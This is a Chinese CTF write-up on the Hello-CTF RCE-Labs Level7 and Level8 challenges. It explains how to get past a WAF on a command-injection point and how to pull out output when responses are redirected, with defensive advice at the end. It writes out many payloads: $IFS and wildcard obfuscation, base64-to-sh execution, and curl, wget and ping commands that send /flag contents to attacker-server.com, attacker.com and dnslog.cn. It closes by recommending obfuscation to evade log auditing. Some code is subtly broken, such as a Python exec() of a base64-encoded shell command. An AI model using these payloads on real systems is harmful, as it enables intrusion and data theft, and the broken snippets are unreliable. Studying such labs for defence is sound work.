1. 项目概述:从实战靶场看RCE攻防的进阶博弈
最近在带新人打CTF,发现很多朋友对RCE(远程代码执行)漏洞的理解还停留在简单的命令注入层面,一旦遇到WAF(Web应用防火墙)或者复杂的过滤、重定向机制就束手无策。正好,Hello-CTF靶场里的RCE-Labs系列,特别是Level7和Level8,可以说是两个非常经典的“教学关卡”。它们一个聚焦于如何绕过WAF的规则拦截,另一个则考验在命令执行后如何突破输出被重定向的困境。这不仅仅是解题,更是理解现代Web应用安全防护逻辑和攻击者绕过思路的绝佳实战。如果你正在学习Web安全,或者想深入理解RCE漏洞的利用与防御,那么拆解这两个关卡背后的原理,远比单纯拿到flag更有价值。接下来,我就以从业者的视角,带你一步步拆解这两个关卡的设计思路、绕过技巧,以及其中蕴含的通用攻防逻辑。
2. Level7:绕过WAF的“矛”与“盾”
WAF几乎是现代Web应用的标配安全产品,它像一道过滤网,试图拦截掉诸如system、exec、反引号、管道符等明显的危险字符和函数调用。Level7模拟的正是这样一个场景:一个存在命令注入点的Web应用,前面部署了一层基础的WAF。我们的目标就是找到这层“盾”的缝隙,将我们的“矛”——恶意命令——送进去并执行。
2.1 WAF常见拦截规则分析与探测
在动手之前,盲猜规则是低效的。一个有经验的测试者,会先进行系统性的探测,摸清WAF的规则边界。
第一步:基础字符与函数黑名单探测通常,WAF会维护一个黑名单。我们可以通过提交一系列无害的测试载荷,观察返回结果(是正常回显、被拦截、还是服务器错误)来推断规则。
- 测试命令分隔符:依次尝试
&、&&、|、||、;、\n(换行符)。例如,提交id和id;,如果后者被拦截而前者正常,说明;在黑名单中。 - 测试命令执行函数:如果注入点是在PHP等语言的代码上下文中,尝试
system()、exec()、passthru()、shell_exec()、反引号 `````。例如,提交echo test和system('echo test')。 - 测试空格和制表符:空格是常见的过滤对象。尝试用
$IFS、${IFS}、%09(TAB的URL编码)、+等替代。 - 测试关键词:
cat、flag、ls、dir、whoami等敏感命令名也可能被直接字符串匹配拦截。
注意:探测时要使用低威胁的命令,如
echo 123、whoami、id,避免一开始就触发高威胁规则导致IP被临时封禁。
第二步:分析拦截响应WAF拦截通常有两种表现:
- 返回明确的拦截页面:页面显示“安全威胁已拦截”、“Forbidden”等,并可能带有WAF厂商的标识(如阿里云云盾、腾讯云WAF)。这告诉我们触发了规则,但服务器并未执行我们的请求。
- 返回空白或异常状态码:如403 Forbidden。这也意味着请求被前置的WAF或服务器安全模块拒绝了。
在Level7中,我们假设初步探测发现,直接使用|、&、;以及system、cat等关键词会被拦截。
2.2 绕过技巧实战:编码、拼接与通配符
知道了规则,就可以设计绕过方案。以下是几种在Level7这类场景中非常有效的技术。
技巧一:利用Bash变量与通配符绕过关键词匹配WAF的字符串匹配往往是“死”的,而Bash的解释是“活”的。
- 变量拼接:将命令拆分成多个部分。例如,
cat /flag可以被写成:
或者更隐蔽地使用环境变量或自定义变量:a=c;b=at;c=/fl;d=ag;$a$b $c$d
这里,/???/c?t /fla?/???/c?t会被Bash扩展为/bin/cat(假设路径存在),/fla?可能匹配/flag。这完全绕开了对完整字符串cat和flag的匹配。 - 利用通配符
?和*:如上例所示,?匹配单个字符,*匹配任意多个字符。/usr/bin/cat可以写成/us?/bi?/ca*。读取文件也可以用more、less、head、tail、nl等命令配合通配符。
技巧二:编码与双重编码WAF可能在解码前检查,也可能在解码后检查。利用编解码的不一致性可以绕过。
- Base64编码:这是最常用的方法。先将命令Base64编码,然后在注入点通过解码执行。
如果# 原始命令:cat /flag # Base64编码后:Y2F0IC9mbGFnCg== echo "Y2F0IC9mbGFnCg==" | base64 -d | bash # 或者更简洁 `echo "Y2F0IC9mbGFnCg==" | base64 -d`bash、base64也被过滤,可以尝试sh,或者用Python/Perl等解释器做解码。 - 十六进制/八进制编码:
cat的十六进制是636174,可以构造为$(printf "\x63\x61\x74") /flag。这种方式更隐蔽。 - URL编码双重编码:如果WAF只做一次URL解码,我们可以对payload进行两次URL编码。例如,
&的一次编码是%26,二次编码是%2526。提交%2526后,WAF解码一次得到%26,认为无害放行;服务器端代码再次解码,得到原始的&,从而成功注入。
技巧三:利用未初始化的Bash变量或空变量在Bash中,未定义的变量默认是空字符串。我们可以利用这个特性来“隐藏”命令。
# 假设$u是一个未定义的变量 $u # 那么 cat 可以写成 c$uat /flag # Bash会尝试解析变量$uat,因为未定义,所以被替换为空,最终执行的命令就是 c/flag?不对,这里有问题。 # 正确的写法是利用大括号和空变量: c${u}at /flag # ${u} 为空,所以拼接后就是 cat这种方法对基于正则表达式简单匹配的WAF规则非常有效。
技巧四:命令替换与内联执行使用$()或反引号执行子命令,其输出会作为外层命令的一部分。这可以用于动态生成被过滤的命令字符。
# 使用printf输出字符并拼接 $(printf "cat") /flag # 使用awk等工具 a=$(awk 'BEGIN{print "c"}');b=$(awk 'BEGIN{print "at"}');$a$b /flagLevel7实战模拟: 假设注入点是ip=127.0.0.1,后端代码是ping -c 1 $ip。WAF过滤了空格、;、&、|、cat、flag。 我们可以构造如下payload:
ip=127.0.0.1;echo$IFS"Y2F0IC9mbGFnCg=="|base64$IFS-d|sh;可能被过滤,我们换成&或&&试试,或者直接使用换行符%0a(URL编码)。$IFS是Bash的内部字段分隔符,默认为空格、制表符、换行符,这里用来替代空格。- 将
cat /flag进行Base64编码后嵌入,避免了直接出现关键词。 - 使用
sh代替可能被过滤的bash。
如果base64也被过滤,可以尝试用Python:
ip=127.0.0.1&&python$IFS-c$IFS'import sys,base64;exec(base64.b64decode(sys.argv[1]))'$IFS"Y2F0IC9mbGFnCg=="这个payload更复杂,但绕过能力更强。
2.3 绕过WAF的通用思路与防御启示
从Level7的绕过过程中,我们可以总结出攻击者视角的通用思路:
- 标准化混淆:利用编码、加密、字符串变换(大小写、双写、插入特殊字符)来改变payload的静态特征。
- 动态生成:利用目标服务器的解释器(Bash、Python、Perl)在运行时动态生成恶意指令,使恶意代码在传输和静态检测阶段“隐形”。
- 特性滥用:利用解释器或协议的特性,如Bash的通配符、变量、环境变量,HTTP的参数污染、分块传输、协议覆盖等。
- 逻辑绕过:寻找WAF规则集未覆盖的盲点,或者利用WAF与后端应用解析不一致(如编码、JSON/XML解析)来绕过。
给开发与防御者的启示:
- 输入验证:WAF是辅助,根本在于服务端对用户输入进行严格的白名单验证。对于命令执行相关的参数,应尽可能限定为预期的格式(如IP地址、主机名),而非直接拼接。
- 最小化命令执行:避免使用
system、exec等函数。如果必须使用,应使用参数化调用(如execve传递参数数组),而非字符串拼接。 - 上下文感知:WAF规则需要结合具体业务上下文。单纯的字符串黑名单极易被绕过。应考虑使用语义分析、语法树分析等更高级的技术。
- 深度防御:结合应用层日志审计、行为监控、HIDS(主机入侵检测系统)等多层防护,即使命令被执行,也能快速发现和响应。
3. Level8:逃逸输出重定向的“信息掠夺”
Level8的场景设定非常巧妙:你成功执行了命令,但命令的输出没有被直接返回到你的浏览器,而是被重定向到了某个文件、丢弃到了/dev/null,或者用于其他内部处理。你就像是一个盲人,能触发动作,却看不到结果。这种场景在真实的“盲注”型RCE中非常常见。我们的目标就是想办法把命令执行的结果“偷”出来。
3.1 理解输出重定向与数据窃取原理
在Linux中,命令执行的结果通常有三个标准流:
stdin(0): 标准输入stdout(1): 标准输出stderr(2): 标准错误
重定向操作符>、>>、2>等可以改变这些流的去向。例如,command > /dev/null 2>&1会将所有输出(包括错误)丢弃。
Level8模拟的可能就是类似system($_GET['cmd'] . " > /tmp/output.log 2>&1");的代码。我们的cmd参数被执行后,输出被导入到了/tmp/output.log,前端页面看不到任何回显。
攻击思路转变:既然直接回显的路被堵死,我们就需要寻找其他“信道”(Channel)来外带数据。核心思想是:将命令执行的结果,通过某种方式,传递到一个我们能访问或能触发外部交互的地方。
3.2 外带数据(OOB)技术详解
方法一:DNS外带查询这是最经典、最常用的盲注数据外带方法。原理是利用域名解析(DNS查询)来携带信息。
- 操作:让目标服务器执行一个命令,将执行结果作为子域名的一部分,向一个我们可控的DNS服务器发起查询。
- 条件:目标服务器需要能对外发起DNS请求(通常可以),并且我们有一个可控的域名和DNS解析记录(可以用免费二级域名或云服务商提供的DNS管理)。
- 命令示例:
# 假设我们有一个域名 attacker.com,其NS记录指向我们可控的服务器 1.2.3.4 # 要外带 whoami 的结果 whoami.`hostname`.attacker.com # 在Bash中,可以通过命令替换动态生成子域名 curl "http://$(whoami | tr -d '\n').attacker.com/" # 或者使用ping(会触发DNS解析) ping -c 1 `cat /flag | xxd -p | tr -d '\n'`.attacker.comxxd -p将文件内容转为十六进制,tr -d '\n'去除换行符,形成一个连续的字符串作为子域名。在我们可控的DNS服务器日志上,就能看到类似`666c6167` .attacker.com的查询记录,将其十六进制解码即可得到flag。
方法二:HTTP请求外带如果目标服务器能出网(访问外部网络),那么通过HTTP/HTTPS请求外带数据是更直接、带宽更高的方式。
- 操作:使用
curl、wget等工具,将命令执行结果作为URL参数、请求头或POST数据,发送到我们控制的Web服务器。 - 命令示例:
在我们的# 使用curl GET请求,将flag作为URL参数 curl "http://attacker-server.com/leak?data=$(cat /flag | base64 | tr -d '\n')" # 使用wget wget --header="X-Data: $(whoami)" http://attacker-server.com # 使用POST发送数据 curl -X POST http://attacker-server.com -d "flag=$(cat /flag)"attacker-server.com的Web访问日志中,就能完整捕获到这些数据。
方法三:时间延迟(Time-Based)盲注当网络外带完全不可行时(严格的内网隔离),我们可以通过命令执行是否引起时间延迟来判断布尔条件。这类似于SQL时间盲注。
- 原理:构造一个命令,如果条件为真,则触发一个睡眠(sleep)操作;如果为假,则立即返回。通过测量响应时间差来判断条件真假。
- 命令示例:逐字符爆破flag内容。
如果服务器响应延迟了5秒,说明第一个字符是# 判断flag第一个字符是否是 'f' if [ $(head -c 1 /flag) = 'f' ]; then sleep 5; fi # 在Web请求中,可以拼接成一行 cmd=test$(head+-c+1+/flag)+%3d+'f'+]%26%26+sleep+5f。然后依次爆破第二位、第三位... 这种方法效率极低,但理论上可行。
方法四:利用进程间通信或临时文件在某些受限环境下,可以尝试将输出写入一个临时文件,然后通过其他间接方式读取这个文件,或者利用文件的存在性作为信号。
- 写入Web目录:如果知道Web根目录,并且有写入权限,可以将结果写入一个web可访问的文件。
cat /flag > /var/www/html/static/leak.txt # 然后访问 http://target.com/static/leak.txt - 创建/删除文件作为信号:结合时间盲注,用
touch或rm文件操作来传递布尔信息,但需要攻击端能探测文件状态(通常更难)。
3.3 Level8实战模拟与工具化
假设Level8的漏洞点是cmd参数,后端执行$cmd > /dev/null 2>&1。我们探测发现服务器有curl命令,且可以出网。
手工外带步骤:
- 准备接收端:在公网VPS上启动一个简单的HTTP服务,并监控访问日志。
# 在VPS上 python3 -m http.server 80 > access.log 2>&1 & tail -f access.log - 构造外带命令:我们需要将命令结果进行编码(避免特殊字符破坏URL),然后通过curl发送。
# 原始payload,在靶场输入框提交 cmd=curl$IFS"http://your-vps-ip/?data=$(cat$IFS/flag|base64|tr$IFS-d$IFS'\n')" # 由于输出被重定向,curl本身的输出会被丢弃到/dev/null,但HTTP请求已经发出。 - 查看结果:在VPS的
access.log中,你会看到一条来自靶机IP的访问记录,data参数的值就是Base64编码后的flag,解码即可。
工具化利用: 对于更复杂的盲注,手工操作非常繁琐。可以使用自动化工具,如cloudeye、dnslog.cn等平台提供的子域名,或者自己编写脚本。
- 使用
dnslog.cn:该平台提供临时子域名,并自动记录DNS查询日志,非常适合快速测试DNS外带是否可行。# 获取一个子域名,如 abcdef.dnslog.cn # 执行 cmd=ping$IFS-c$IFS1$IFS`cat$IFS/flag|xxd$IFS-p|tr$IFS-d$IFS'\n'`.abcdef.dnslog.cn # 然后在 dnslog.cn 的Web界面刷新,就能看到携带flag十六进制数据的DNS查询记录。 - 编写自动化爆破脚本:对于时间盲注,需要编写脚本自动化发送请求、判断响应时间、推断字符。这通常使用Python的
requests库,结合二分法等算法提高效率。
3.4 盲注场景下的防御与检测
Level8的逃逸重定向场景,给防御方带来了更大的挑战,因为攻击可能没有明显的直接回显。
防御建议:
- 彻底禁用危险函数:在PHP中,在
php.ini的disable_functions列表中禁用system、exec、passthru、shell_exec、proc_open、popen等函数。这是最根本的。 - 严格的网络出口过滤:在内网服务器上,通过防火墙或安全组策略,严格控制出站连接。只允许访问必要的业务地址和端口(如内部API、更新服务器)。阻断到任意域名和IP的DNS、HTTP请求,可以极大增加OOB外带的难度。
- 命令执行日志与监控:详细记录所有命令执行函数的调用,包括参数、时间、来源IP。结合SIEM(安全信息与事件管理)系统,对异常的命令模式(如包含
curl、wget、ping到外部地址,或大量sleep命令)进行实时告警。 - 输入输出限制:即使业务需要执行命令,也应严格限制命令的输入范围(白名单),并对输出进行过滤和大小限制,避免泄露敏感信息。
检测思路:
- 网络层监控:IDS/IPS可以检测到服务器突然向陌生域名或IP发起大量的DNS或HTTP请求,特别是子域名包含长随机字符串的请求,这是一个高可疑信号。
- 主机层监控:HIDS可以检测到Web服务进程(如
php-fpm、apache)异常地调用了curl、nslookup、bash -c等命令。 - 日志分析:分析Web日志,寻找包含编码字符串(Base64、十六进制)的参数,或者参数长度异常、结构异常的请求。
4. 从靶场到实战:RCE攻防的思维跃迁
通过Hello-CTF的Level7和Level8,我们实际上经历了一次完整的、进阶的RCE漏洞利用链条:发现注入点 -> 绕过前端/边界防护 -> 执行命令 -> 在无回显环境下外带数据。这几乎就是真实世界攻防的微缩模型。
攻击者的思维是发散的、创造性的。他们不断寻找规则边界、解析差异、特性利用点。从简单的字符串替换到复杂的编码混淆,从直接回显到多信道外带,攻击技术的演进本质上是与防御规则的一场持续博弈。
防御者的思维则需要是收敛的、体系化的。不能依赖单点防护(如一个WAF)。必须建立纵深防御体系:从最前端的输入验证,到应用代码的安全编码(避免拼接),到运行环境的强化(禁用函数、限制权限),再到网络层的隔离与监控,最后是完善的事件日志与应急响应。安全是一个过程,而不是一个产品。
对于学习者而言,像Hello-CTF这样的靶场,价值不在于“刷题”,而在于理解每一个关卡背后所模拟的真实漏洞场景和防护机制。在做Level7时,多问问自己:“如果我是WAF规则工程师,该如何写规则才能防住这种绕过?”在做Level8时,思考:“作为运维,我该如何配置服务器才能防止数据被这样外带?”这种攻防一体的思考方式,才是通往更高阶安全能力的路径。
最后,分享一个我个人的实操心得:在测试任何命令注入漏洞时,养成使用“无害探测命令”和“编码混淆”的习惯。比如,先用echo 123或sleep 2来确认注入点存在和基本语法,而不是一上来就cat /etc/passwd。在构造最终payload时,也优先考虑使用Base64编码或变量拼接,这能有效绕过很多初级防护和日志审计的简单关键字匹配。记住,隐蔽性和成功率同样重要。